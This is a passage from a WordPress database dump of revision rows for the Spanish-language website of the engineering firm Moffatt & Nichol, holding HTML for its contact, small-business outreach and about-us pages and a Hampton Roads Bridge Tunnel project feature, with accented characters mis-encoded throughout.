Moffatt & Nichol se asocia habitualmente con pequeÃ±as compaÃ±Ãas calificadas para complementar nuestro conocimiento tÃ©cnico interno. Si desea conocer mÃ¡s sobre nuestras oportunidades para pequeÃ±as empresas, visite nuestra <a href=\"http://moffattnichol.com/spanish/small-business-outreach/\" title=\"pÃ¡gina de participaciÃ³n de pequeÃ±as empresas\">pÃ¡gina de participaciÃ³n de pequeÃ±as empresas</a>.\r\n </div>\r\n\r\n<div class=\"partnership_right\">\r\n<h4>formulario de contacto</h4>\r\n<div class=\"txt_boxbg\">\r\n            <span>[contact-form-7 id=\"861\" title=\"Formulario de contacto 1\"]</span>\r\n            </div>\r\n<div class=\"clear\"></div>\r\n<div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','ContÃ¡ctenos','','inherit','open','open','','16-revision-3','','','2012-05-29 09:51:15','2012-05-29 09:51:15','',16,'http://moffattnichol.com/spanish/16-revision-3/',0,'revision','',0),(2377,1,'2011-10-18 11:39:22','2011-10-18 11:39:22','<div class=\"content_faq\">\n<div class=\"partnership_left\">\n<h1>participaciÃ³n de pequeÃ±as empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeÃ±as compaÃ±Ãas calificadas para complementar nuestro conocimiento tÃ©cnico interno. \n\nMediante los programas de participaciÃ³n y marketing, identificamos a pequeÃ±as compaÃ±Ãas calificadas en todo Estados Unidos con un conocimiento tÃ©cnico que se ajusta a nuestro segmento de mercado para una posible asociaciÃ³n o subcontrataciÃ³n en programas gubernamentales.\n\n\n\n<strong style=\"line-height:30px;\">PostulaciÃ³n al programa de la pequeÃ±a empresa</strong> Invitamos a los participantes del Programa de la pequeÃ±a empresa con experiencia de trabajo en contratos gubernamentales federales, estatales y locales y que   Certificado como uno de los tipos de negocios indicados a continuaciÃ³n.&nbsp;\n\n<div class=\"lft_margin\">\n              - PequeÃ±a empresa<br />\n                - PequeÃ±a empresa en desventaja <br />\n                - PequeÃ±a empresa en zona Comercial HistÃ³ricamente Subutilizada (HUB, por sus siglas en inglÃ©s)  <br />\n                - PequeÃ±a empresa de propiedad de una mujer<br />\n                - PequeÃ±a empresa de propiedad de un veterano de guerra<br />\n                - PequeÃ±a empresa de propiedad de veterano de guerra discapacitado <br />\n                &nbsp; en servicio<br />\n                - Con certificaciÃ³n 8 (a) de pequeÃ±a empresa <br />\n                - Otro \n            </div>\n </div>\n          <div class=\"partnership_right\">\n            <h4>postulaciÃ³n de pequeÃ±a empresa</h4>\n            <div class=\"txt_boxbg\">\n            <span>[contact-form-7 id=\"870\" title=\"Partnership\"]</span>\n            </div>\n <div class=\"clear\"></div>\n</div>\n</div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','ParticipaciÃ³n de pequeÃ±as empresas','','inherit','open','open','','69-revision','','','2011-10-18 11:39:22','2011-10-18 11:39:22','',69,'http://moffattnichol.com/spanish/69-revision/',0,'revision','',0),(2378,1,'2012-05-29 10:26:06','2012-05-29 10:26:06','<div class=\"content_faq\">\r\n<div class=\"partnership_left\">\r\n<h1>participaciÃ³n de pequeÃ±as empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeÃ±as compaÃ±Ãas calificadas para complementar nuestro conocimiento tÃ©cnico interno. \r\n\r\nMediante los programas de participaciÃ³n y marketing, identificamos a pequeÃ±as compaÃ±Ãas calificadas en todo Estados Unidos con un conocimiento tÃ©cnico que se ajusta a nuestro segmento de mercado para una posible asociaciÃ³n o subcontrataciÃ³n en programas gubernamentales.\r\n\r\n\r\n\r\n<strong style=\"line-height:30px;\">PostulaciÃ³n al programa de la pequeÃ±a empresa</strong> Invitamos a los participantes del Programa de la pequeÃ±a empresa con experiencia de trabajo en contratos gubernamentales federales, estatales y locales y que   Certificado como uno de los tipos de negocios indicados a continuaciÃ³n.&nbsp;\r\n\r\n<div class=\"lft_margin\">\r\n              - PequeÃ±a empresa<br />\r\n                - PequeÃ±a empresa en desventaja <br />\r\n                - PequeÃ±a empresa en zona Comercial HistÃ³ricamente Subutilizada (HUB, por sus siglas en inglÃ©s)  <br />\r\n                - PequeÃ±a empresa de propiedad de una mujer<br />\r\n                - PequeÃ±a empresa de propiedad de un veterano de guerra<br />\r\n                - PequeÃ±a empresa de propiedad de veterano de guerra discapacitado <br />\r\n                &nbsp; en servicio<br />\r\n                - Con certificaciÃ³n 8 (a) de pequeÃ±a empresa <br />\r\n                - Otro \r\n            </div>\r\n </div>\r\n          <div class=\"partnership_right\">\r\n            <h4>postulaciÃ³n de pequeÃ±a empresa</h4>\r\n            <div class=\"txt_boxbg\">\r\n            <span>[contact-form-7 id=\"870\" title=\"Small Business Outreach\"]</span>\r\n            </div>\r\n <div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','ParticipaciÃ³n de pequeÃ±as empresas','','inherit','open','open','','69-revision-2','','','2012-05-29 10:26:06','2012-05-29 10:26:06','',69,'http://moffattnichol.com/spanish/69-revision-2/',0,'revision','',0),(2380,1,'2013-01-24 13:59:08','2013-01-24 13:59:08','','Contact form 1','','publish','closed','open','','contact-form-1','','','2013-01-24 13:59:08','2013-01-24 13:59:08','',0,'http://moffattnichol.com/spanish/wpcf7_contact_form/contact-form-1/',0,'wpcf7_contact_form','',0),(2381,1,'2012-05-29 12:11:54','2012-05-29 12:11:54','','Small Business Outreach','','publish','closed','open','','small-business-outreach','','','2012-05-29 12:11:54','2012-05-29 12:11:54','',0,'http://moffattnichol.com/spanish/wpcf7_contact_form/small-business-outreach/',0,'wpcf7_contact_form','',0),(2382,1,'2012-05-29 10:04:06','2012-05-29 10:04:06','<div class=\"content_faq\">\r\n<div class=\"contact-left\">\r\n            <h1>contÃ¡ctenos</h1>\r\n            Si desea informaciÃ³n sobre nuestros mercados y Ã¡reas de especializaciÃ³n, complete el formulario y un representante de Moffatt & Nichol se pondrÃ¡ en contacto con usted a la brevedad. \r\n\r\n            TambiÃ©n puede visitar <a href=\"http://moffattnichol.com/spanish/our-offices/\" title=\"nuestras oficinas\">nuestras oficinas</a> para ponerse en contacto con alguien en su Ã¡rea.\r\n            \r\n            Puede comunicarse con nuestro grupo de desarrollo de negocios escribiendo a <a href=\"mailto:inquiry@moffattnichol.com\">inquiry@moffattnichol.com</a> o llamando al (562) 590-6500 / (540)-662-6623.\r\n            <div class=\"contact-connectlink\">\r\n              ConÃ©ctese con nosotros:\r\n              <a href=\"http://twitter.com/moffattnichol/\" target=\"_blank\" title=\"Twitter\">Twitter </a>| <a href=\"http://www.facebook.com/moffattnichol\" target=\"_blank\" title=\"Facebook\">Facebook </a>| <a href=\"http://www.linkedin.com/company/moffatt-&-nichol\" target=\"_blank\" title=\"Linked in\">Linked.in </a></div>\r\n\r\n<br />\r\n\r\n<h3>empleo</h3> El Ã©xito de nuestra firma se debe en gran parte al conocimiento, experiencia y compromiso de nuestro variado equipo de profesionales. Ãšnase a nosotros y disfrute de una gratificante carrera profesional con Moffatt &amp; Nichol. Para ver las oportunidades de desarrollo profesional, visite nuestra <a href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&cws=1\" title=\"pÃ¡gina de empleos\">pÃ¡gina de empleos</a>.\r\n\r\n<br />\r\n\r\n<h3>participaciÃ³n de pequeÃ±as empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeÃ±as compaÃ±Ãas calificadas para complementar nuestro conocimiento tÃ©cnico interno. Si desea conocer mÃ¡s sobre nuestras oportunidades para pequeÃ±as empresas, visite nuestra <a href=\"http://moffattnichol.com/spanish/small-business-outreach/\" title=\"pÃ¡gina de participaciÃ³n de pequeÃ±as empresas\">pÃ¡gina de participaciÃ³n de pequeÃ±as empresas</a>.\r\n </div>\r\n\r\n<div class=\"partnership_right\">\r\n<h4>formulario de contacto</h4>\r\n<div class=\"txt_boxbg\">\r\n            <span>[contact-form-7 id=\"870\" title=\"AsociaciÃ³n\"]</span>\r\n            </div>\r\n<div class=\"clear\"></div>\r\n<div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','ContÃ¡ctenos','','inherit','open','open','','16-revision-4','','','2012-05-29 10:04:06','2012-05-29 10:04:06','',16,'http://moffattnichol.com/spanish/16-revision-4/',0,'revision','',0),(2383,1,'2012-05-29 10:26:25','2012-05-29 10:26:25','<div class=\"content_faq\">\r\n<div class=\"partnership_left\">\r\n<h1>participaciÃ³n de pequeÃ±as empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeÃ±as compaÃ±Ãas calificadas para complementar nuestro conocimiento tÃ©cnico interno. \r\n\r\nMediante los programas de participaciÃ³n y marketing, identificamos a pequeÃ±as compaÃ±Ãas calificadas en todo Estados Unidos con un conocimiento tÃ©cnico que se ajusta a nuestro segmento de mercado para una posible asociaciÃ³n o subcontrataciÃ³n en programas gubernamentales.\r\n\r\n\r\n\r\n<strong style=\"line-height:30px;\">PostulaciÃ³n al programa de la pequeÃ±a empresa</strong> Invitamos a los participantes del Programa de la pequeÃ±a empresa con experiencia de trabajo en contratos gubernamentales federales, estatales y locales y que   Certificado como uno de los tipos de negocios indicados a continuaciÃ³n.&nbsp;\r\n\r\n<div class=\"lft_margin\">\r\n              - PequeÃ±a empresa<br />\r\n                - PequeÃ±a empresa en desventaja <br />\r\n                - PequeÃ±a empresa en zona Comercial HistÃ³ricamente Subutilizada (HUB, por sus siglas en inglÃ©s)  <br />\r\n                - PequeÃ±a empresa de propiedad de una mujer<br />\r\n                - PequeÃ±a empresa de propiedad de un veterano de guerra<br />\r\n                - PequeÃ±a empresa de propiedad de veterano de guerra discapacitado <br />\r\n                &nbsp; en servicio<br />\r\n                - Con certificaciÃ³n 8 (a) de pequeÃ±a empresa <br />\r\n                - Otro \r\n            </div>\r\n </div>\r\n          <div class=\"partnership_right\">\r\n            <h4>postulaciÃ³n de pequeÃ±a empresa</h4>\r\n            <div class=\"txt_boxbg\">\r\n            <span>[contact-form-7 id=\"870\" title=\"Small Business Outreach\"]</span>\r\n            </div>\r\n <div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','ParticipaciÃ³n de pequeÃ±as empresas','','inherit','open','open','','69-revision-3','','','2012-05-29 10:26:25','2012-05-29 10:26:25','',69,'http://moffattnichol.com/spanish/69-revision-3/',0,'revision','',0),(2386,1,'2011-10-24 09:25:44','2011-10-24 09:25:44','<div class=\"content_faq\">\n<div class=\"new-about-blackbox\"><a href=\"#\"><img class=\"fl\" title=\"John Moffatt\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/moffat.jpg\" alt=\"\" width=\"169\" height=\"205\" border=\"0\" /></a><a href=\"#\"><img class=\"fl\" title=\"Frank Nichol\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/nichol.jpg\" alt=\"\" width=\"167\" height=\"205\" border=\"0\" /></a> <a href=\"#\"><img class=\"fl\" title=\"Founding Principals\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/principles.jpg\" alt=\"\" width=\"240\" height=\"205\" border=\"0\" /></a></div>\n<span class=\"photo-title \">John Moffatt</span><span class=\"photo-title \">Frank Nichol</span><span class=\"photo-title-principal \">Directores fundadores</span>\n&nbsp; &nbsp;\n<div class=\"about-us-left\">\n<h3>acerca de moffatt &amp; nichol</h3> En 1945, Frank Nichol y John Moffatt formaron una sociedad sobre la tabla de cocina de Nichol en Long Beach, California. Como gerentes de proyecto para importantes instalaciones navales del sur de California durante la Segunda Guerra Mundial, habÃan establecido una reputaciÃ³n como ingenieros creativos que entregaban diseÃ±os factibles de construirse. Durante sus distinguidas carreras, buscaron mejorar la calidad de la ingenierÃa de frentes costeros, consolidando una firma que irÃa mucho mÃ¡s allÃ¡ de la costa.\n\nHoy, la firma tiene su sede principal en Long Beach, California y funciona a lo largo y ancho de NorteamÃ©rica, Europa, AmÃ©rica Latina y la Cuenca del PacÃfico; la especialidad de Moffatt &amp; Nichol se ha expandido para dar apoyo a las mayores demandas de la industria del movimiento de mercancÃas a nivel mundial. Hoy en dÃa, con una cartera de mÃ¡s de 7.000 proyectos, la firma proporciona a clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en un sello distintivo en la industria en seis Ã¡reas principales: puertos; recursos costeros, medioambientales e hÃdricos; frentes de mar urbanos y puertos deportivos; transporte, puentes y ferrocarriles; inspecciÃ³n y rehabilitaciÃ³n; y energÃa. Estas Ã¡reas de especializaciÃ³n son complementadas por un grupo asesor comercial interno con analistas marÃtimos y de logÃstica que se especializan en la adquisiciÃ³n y fusiÃ³n de activos de infraestructura marÃtima, sistemas de transporte intermodal y pronÃ³sticos de ingresos asociados con el movimiento de carga.\n\nNuestro personal profesional y tÃ©cnico de calidad mundial ofrece a los clientes una visiÃ³n integral del proyecto, con prÃ¡cticas esenciales que reflejan la correlaciÃ³n Ãºnica entre el lugar y el proyecto, proporcionando una amplia perspectiva desde el planeamiento al diseÃ±o y hasta la terminaciÃ³n del proyecto.\n\n<br />\n\n<h3>nuestra misiÃ³n</h3> Ofrecemos soluciones que son innovadoras, prÃ¡cticas, rentables y eficientes, pero nos distinguimos de la competencia con dÃ©cadas de imaginaciÃ³n y un nivel de experiencia y calidad que no tiene igual. \n\n<br />\n\n<h3>nuestra visiÃ³n</h3> En Moffatt & Nichol, la creatividad es nuestro negocio, la satisfacciÃ³n del cliente nuestra prioridad, y el servicio que proporcionamos en seis Ã¡reas principales de la prÃ¡ctica es lo que nos motiva para ser los mejores en lo que hacemos. Seguimos comprometidos a proporcionar soluciones innovadoras y a estar a la vanguardia de la industria en tecnologÃa. Nuestra experiencia incomparable se basa en dÃ©cadas de excelencia tÃ©cnica y creatividad, y nuestro enfoque inquebrantable se refleja en nuestros Ã©xitos.\n\n<br />\n\n<h3>nuestros valores</h3> Nuestros valores son la base de nuestra cultura y reputaciÃ³n, gobiernan nuestras acciones y refuerzan las convicciones fundamentales que sostienen a Moffatt &amp; Nichol.\n<ul>\n	<li>La integridad es el valor supremo. Ser justos, honestos y francos con todos.</li>\n	<li>Mantener una fuerte tradiciÃ³n de conducta Ã©tica como la base de nuestro negocio.</li>\n	<li>JamÃ¡s hay que basarse en Ã©xitos pasados. Mejorar constantemente nuestras habilidades y mÃ©todos.</li>\n	<li>Rendir mÃ¡s de lo esperado en las tareas del proyecto, al mismo tiempo que se entiende la importante diferencia entre excelencia y perfecciÃ³n.</li>\n	<li>Asegurar nuestro futuro mediante la superaciÃ³n constante de las expectativas de nuestros clientes.</li>\n	<li>Respetar a nuestros competidores.</li>\n	<li>Compartir nuestras ganancias con los empleados.</li>\n	<li>Mantener una meritocracia en donde el trabajo duro, los sacrificios y los logros de los empleados son recompensados.</li>\n	<li>Ser buenos ciudadanos corporativos dentro de nuestras comunidades.</li>\n	<li>Valorar la diversidad de pensamientos y culturas.</li>\n</ul>\n</div>\n<div class=\"about-us-right\">\n<h3>certificaciones</h3>\n<p style=\"text-align: left;\">Moffatt &amp; Nichol mantiene varias certificaciones profesionales. Nuestros profesionales son colegiados y certificados en varias especialidades, que pueden ser proporcionadas si son necesarias. Si desea mÃ¡s informaciÃ³n, pÃ³ngase en contacto con <a href=\"mailto:info@moffattnichol.com\">info@moffattnichol.com</a></p>\n\n<div class=\"certi-images\"><img title=\"Certifications\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/iso-certification.jpg\" alt=\"Certificaciones\" /></div>\n<div class=\"about-text-rightnew\">Nota: Esto es solamente para la oficina de Londres.</div>\n</div>\n</div>\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Acerca de nosotros','','inherit','open','open','','295-revision','','','2011-10-24 09:25:44','2011-10-24 09:25:44','',295,'http://moffattnichol.com/spanish/295-revision/',0,'revision','',0),(2408,1,'2012-05-29 12:01:56','2012-05-29 12:01:56','<div class=\"content_faq\">\r\n<div class=\"contact-left\">\r\n            <h1>contÃ¡ctenos</h1>\r\n            Si desea informaciÃ³n sobre nuestros mercados y Ã¡reas de especializaciÃ³n, complete el formulario y un representante de Moffatt & Nichol se pondrÃ¡ en contacto con usted a la brevedad. \r\n\r\n            TambiÃ©n puede visitar <a href=\"http://moffattnichol.com/spanish/our-offices/\" title=\"nuestras oficinas\">nuestras oficinas</a> para ponerse en contacto con alguien en su Ã¡rea.\r\n            \r\n            Puede comunicarse con nuestro grupo de desarrollo de negocios escribiendo a <a href=\"mailto:inquiry@moffattnichol.com\">inquiry@moffattnichol.com</a> o llamando al (562) 590-6500 / (540)-662-6623.\r\n            <div class=\"contact-connectlink\">\r\n              ConÃ©ctese con nosotros:\r\n              <a href=\"http://twitter.com/moffattnichol/\" target=\"_blank\" title=\"Twitter\">Twitter </a>| <a href=\"http://www.facebook.com/moffattnichol\" target=\"_blank\" title=\"Facebook\">Facebook </a>| <a href=\"http://www.linkedin.com/company/moffatt-&-nichol\" target=\"_blank\" title=\"Linked in\">Linked.in </a></div>\r\n\r\n<br />\r\n\r\n<h3>empleo</h3> El Ã©xito de nuestra firma se debe en gran parte al conocimiento, experiencia y compromiso de nuestro variado equipo de profesionales. Ãšnase a nosotros y disfrute de una gratificante carrera profesional con Moffatt &amp; Nichol. Para ver las oportunidades de desarrollo profesional, visite nuestra <a href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&cws=1\" title=\"pÃ¡gina de empleos\">pÃ¡gina de empleos</a>.\r\n\r\n<br />\r\n\r\n<h3>participaciÃ³n de pequeÃ±as empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeÃ±as compaÃ±Ãas calificadas para complementar nuestro conocimiento tÃ©cnico interno. Si desea conocer mÃ¡s sobre nuestras oportunidades para pequeÃ±as empresas, visite nuestra <a href=\"http://moffattnichol.com/spanish/small-business-outreach/\" title=\"pÃ¡gina de participaciÃ³n de pequeÃ±as empresas\">pÃ¡gina de participaciÃ³n de pequeÃ±as empresas</a>.\r\n </div>\r\n\r\n<div class=\"partnership_right\">\r\n<h4>formulario de contacto</h4>\r\n<div class=\"txt_boxbg\">\r\n            <span>[contact-form-7 id=\"2380\" title=\"Contact form 1\"]</span>\r\n            </div>\r\n<div class=\"clear\"></div>\r\n<div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','ContÃ¡ctenos','','inherit','open','open','','16-revision-5','','','2012-05-29 12:01:56','2012-05-29 12:01:56','',16,'http://moffattnichol.com/spanish/16-revision-5/',0,'revision','',0),(2411,1,'2012-01-05 11:17:28','2012-01-05 11:17:28','<div class=\"banner-space\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/featured-solution.jpg\" alt=\"\" /></div>\n<div class=\"ports-left\">\n<h1>soluciÃ³n creativa presentada</h1>\n<p style=\"text-align: left;\">Parcialmente tÃºnel, parcialmente puente, el Hampton Roads Bridge Tunnel (HRBT) I-64 tiene un lugar en la historia como hito en la ingenierÃa: es el primer tÃºnel sumergido en el mundo conectado con islas artificiales. En 1957, se inaugurÃ³ el HRBT de dos carriles y 3,5 millas (5,6 km) de longitud, ofreciendo a los conductores de la zona una ruta directa desde Norfolk hasta Hampton, Virginia, sin tener que esperar por un transbordador ni tener que conducir rodeando el agua.</p>\n<p style=\"text-align: left;\">El HRBT sirve hoy en dÃa a cerca de tres millones de vehÃculos al mes, como uno de la familia de 10 puentes y puentes-tÃºneles que ayudan a los conductores a navegar el puerto de Hampton Road, por encima y por debajo de los canales de navegaciÃ³n. En el HRBT, los volÃºmenes de trÃ¡fico superan los 100.000 vehÃculos durante la estaciÃ³n turÃstica, por lo que los planificadores han comenzado a buscar alternativas para mantener el flujo del pÃºblico en movimiento a travÃ©s del puente-tÃºnel.</p>\n<p style=\"text-align: left;\">Moffatt &amp; Nichol, aportando su experiencia en diseÃ±o de puentes y frentes costeros, trabajÃ³ como miembro del equipo consultor para un estudio de factibilidad en el aÃ±o 2008 que explorÃ³ la mejora del nivel de servicio del HRBT. El Departamento de Transporte de Virginia (VDOT, por sus siglas en inglÃ©s) identificÃ³ seis alternativas posibles que agregarÃan carriles usando una soluciÃ³n de puente o tÃºnel para atenuar la recurrente congestiÃ³n. Moffatt &amp; Nichol proporcionÃ³ la informaciÃ³n del diseÃ±o conceptual para estas alternativas de puente de alto nivel.</p>\n<p style=\"text-align: left;\">Aunque aÃºn no se ha realizado una selecciÃ³n, VDOT continÃºa estudiando el corredor HRBT y recientemente solicitÃ³ un Informe de impacto medioambiental en apoyo de los estudios para las mejoras.</p>\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n</div>\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Soluciones prÃ¡cticas presentadas','','inherit','open','open','','1431-revision','','','2012-01-05 11:17:28','2012-01-05 11:17:28','',1431,'http://moffattnichol.com/spanish/1431-revision/',0,'revision','',0),(2412,1,'2012-05-30 10:44:34','2012-05-30 10:44:34','<div class=\"banner-space\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/featured-solution.jpg\" alt=\"\" /></div>\r\n<div class=\"ports-left\">\r\n<h1>soluciÃ³n creativa presentada</h1>\r\n<p style=\"text-align: left;\">Parcialmente tÃºnel, parcialmente puente, el Hampton Roads Bridge Tunnel (HRBT) I-64 tiene un lugar en la historia como hito en la ingenierÃa: es el primer tÃºnel sumergido en el mundo conectado con islas artificiales. En 1957, se inaugurÃ³ el HRBT de dos carriles y 3,5 millas (5,6 km) de longitud, ofreciendo a los conductores de la zona una ruta directa desde Norfolk hasta Hampton, Virginia, sin tener que esperar por un transbordador ni tener que conducir rodeando el agua.</p>\r\n<p style=\"text-align: left;\">El HRBT sirve hoy en dÃa a cerca de tres millones de vehÃculos al mes, como uno de la familia de 10 puentes y puentes-tÃºneles que ayudan a los conductores a navegar el puerto de Hampton Road, por encima y por debajo de los canales de navegaciÃ³n. En el HRBT, los volÃºmenes de trÃ¡fico superan los 100.000 vehÃculos durante la estaciÃ³n turÃstica, por lo que los planificadores han comenzado a buscar alternativas para mantener el flujo del pÃºblico en movimiento a travÃ©s del puente-tÃºnel.</p>\r\n<p style=\"text-align: left;\">Moffatt &amp; Nichol, aportando su experiencia en diseÃ±o de puentes y frentes costeros, trabajÃ³ como miembro del equipo consultor para un estudio de factibilidad en el aÃ±o 2008 que explorÃ³ la mejora del nivel de servicio del HRBT. El Departamento de Transporte de Virginia (VDOT, por sus siglas en inglÃ©s) identificÃ³ seis alternativas posibles que agregarÃan carriles usando una soluciÃ³n de puente o tÃºnel para atenuar la recurrente congestiÃ³n. Moffatt &amp; Nichol proporcionÃ³ la informaciÃ³n del diseÃ±o conceptual para estas alternativas de puente de alto nivel.</p>\r\n<p style=\"text-align: left;\">Aunque aÃºn no se ha realizado una selecciÃ³n, VDOT continÃºa estudiando el corredor HRBT y recientemente solicitÃ³ un Informe de impacto medioambiental en apoyo de los estudios para las mejoras.</p>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Soluciones prÃ¡cticas presentadas','','inherit','open','open','','1431-revision-2','','','2012-05-30 10:44:34','2012-05-30 10:44:34','',1431,'http://moffattnichol.com/spanish/1431-revision-2/',0,'revision','',0),(2413,1,'2012-05-30 07:10:00','2012-05-30 07:10:00','<div class=\"content_faq\">\r\n<div class=\"new-about-blackbox\"><a href=\"#\"><img class=\"fl\" title=\"John Moffatt\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/moffat.jpg\" alt=\"\" width=\"169\" height=\"205\" border=\"0\" /></a><a href=\"#\"><img class=\"fl\" title=\"Frank Nichol\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/nichol.jpg\" alt=\"\" width=\"167\" height=\"205\" border=\"0\" /></a> <a href=\"#\"><img class=\"fl\" title=\"Los directores fundadores\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/principles.jpg\" alt=\"\" width=\"240\" height=\"205\" border=\"0\" /></a></div>\r\n<span class=\"photo-title \">John Moffatt</span><span class=\"photo-title \">Frank Nichol</span><span class=\"photo-title-principal \">Directores fundadores</span>\r\n&nbsp; &nbsp;\r\n<div class=\"about-us-left\">\r\n<h3>acerca de moffatt &amp; nichol</h3> En 1945, Frank Nichol y John Moffatt formaron una sociedad sobre la tabla de cocina de Nichol en Long Beach, California. Como gerentes de proyecto para importantes instalaciones navales del sur de California durante la Segunda Guerra Mundial, habÃan establecido una reputaciÃ³n como ingenieros creativos que entregaban diseÃ±os factibles de construirse. Durante sus distinguidas carreras, buscaron mejorar la calidad de la ingenierÃa de frentes costeros, consolidando una firma que irÃa mucho mÃ¡s allÃ¡ de la costa.\r\n\r\nHoy, la firma tiene su sede principal en Long Beach, California y funciona a lo largo y ancho de NorteamÃ©rica, Europa, AmÃ©rica Latina y la Cuenca del PacÃfico; la especialidad de Moffatt &amp; Nichol se ha expandido para dar apoyo a las mayores demandas de la industria del movimiento de mercancÃas a nivel mundial. Hoy en dÃa, con una cartera de mÃ¡s de 7.000 proyectos, la firma proporciona a clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en un sello distintivo en la industria en seis Ã¡reas principales: puertos; recursos costeros, medioambientales e hÃdricos; frentes de mar urbanos y puertos deportivos; transporte, puentes y ferrocarriles; inspecciÃ³n y rehabilitaciÃ³n; y energÃa. Estas Ã¡reas de especializaciÃ³n son complementadas por un grupo asesor comercial interno con analistas marÃtimos y de logÃstica que se especializan en la adquisiciÃ³n y fusiÃ³n de activos de infraestructura marÃtima, sistemas de transporte intermodal y pronÃ³sticos de ingresos asociados con el movimiento de carga.\r\n\r\nNuestro personal profesional y tÃ©cnico de calidad mundial ofrece a los clientes una visiÃ³n integral del proyecto, con prÃ¡cticas esenciales que reflejan la correlaciÃ³n Ãºnica entre el lugar y el proyecto, proporcionando una amplia perspectiva desde el planeamiento al diseÃ±o y hasta la terminaciÃ³n del proyecto.\r\n\r\n<br />\r\n\r\n<h3>nuestra misiÃ³n</h3> Ofrecemos soluciones que son innovadoras, prÃ¡cticas, rentables y eficientes, pero nos distinguimos de la competencia con dÃ©cadas de imaginaciÃ³n y un nivel de experiencia y calidad que no tiene igual. \r\n\r\n<br />\r\n\r\n<h3>nuestra visiÃ³n</h3> En Moffatt & Nichol, la creatividad es nuestro negocio, la satisfacciÃ³n del cliente nuestra prioridad, y el servicio que proporcionamos en seis Ã¡reas principales de la prÃ¡ctica es lo que nos motiva para ser los mejores en lo que hacemos. Seguimos comprometidos a proporcionar soluciones innovadoras y a estar a la vanguardia de la industria en tecnologÃa. Nuestra experiencia incomparable se basa en dÃ©cadas de excelencia tÃ©cnica y creatividad, y nuestro enfoque inquebrantable se refleja en nuestros Ã©xitos.\r\n\r\n<br />\r\n\r\n<h3>nuestros valores</h3> Nuestros valores son la base de nuestra cultura y reputaciÃ³n, gobiernan nuestras acciones y refuerzan las convicciones fundamentales que sostienen a Moffatt &amp; Nichol.\r\n<ul>\r\n	<li>La integridad es el valor supremo. Ser justos, honestos y francos con todos.</li>\r\n	<li>Mantener una fuerte tradiciÃ³n de conducta Ã©tica como la base de nuestro negocio.</li>\r\n	<li>JamÃ¡s hay que basarse en Ã©xitos pasados. Mejorar constantemente nuestras habilidades y mÃ©todos.</li>\r\n	<li>Rendir mÃ¡s de lo esperado en las tareas del proyecto, al mismo tiempo que se entiende la importante diferencia entre excelencia y perfecciÃ³n.</li>\r\n	<li>Asegurar nuestro futuro mediante la superaciÃ³n constante de las expectativas de nuestros clientes.</li>\r\n	<li>Respetar a nuestros competidores.</li>\r\n	<li>Compartir nuestras ganancias con los empleados.</li>\r\n	<li>Mantener una meritocracia en donde el trabajo duro, los sacrificios y los logros de los empleados son recompensados.</li>\r\n	<li>Ser buenos ciudadanos corporativos dentro de nuestras comunidades.</li>\r\n	<li>Valorar la diversidad de pensamientos y culturas.</li>\r\n</ul>\r\n</div>\r\n<div class=\"about-us-right\">\r\n<h3>certificaciones</h3>\r\n<p style=\"text-align: left;\">Moffatt &amp; Nichol mantiene varias certificaciones profesionales. Nuestros profesionales son colegiados y certificados en varias especialidades, que pueden ser proporcionadas si son necesarias. Si desea mÃ¡s informaciÃ³n, pÃ³ngase en contacto con <a href=\"mailto:info@moffattnichol.com\">info@moffattnichol.com</a></p>\r\n\r\n<div class=\"certi-images\"><img title=\"Certificaciones\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/iso-certification.jpg\" alt=\"Certificaciones\" /></div>\r\n<div class=\"about-text-rightnew\">Nota: Esto es solamente para la oficina de Londres.</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Acerca de nosotros','','inherit','open','open','','295-revision-2','','','2012-05-30 07:10:00','2012-05-30 07:10:00','',295,'http://moffattnichol.com/spanish/295-revision-2/',0,'revision','',0),(2414,1,'2011-10-17 12:35:01','2011-10-17 12:35:01','<div class=\"content_faq\">\n<div class=\"our_officesimg\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/our_offices.jpg\" alt=\"Nuestras oficinas\" width=\"389\" height=\"217\" /></div>\n<div class=\"our_officestxt\">\n<h1>nuestras 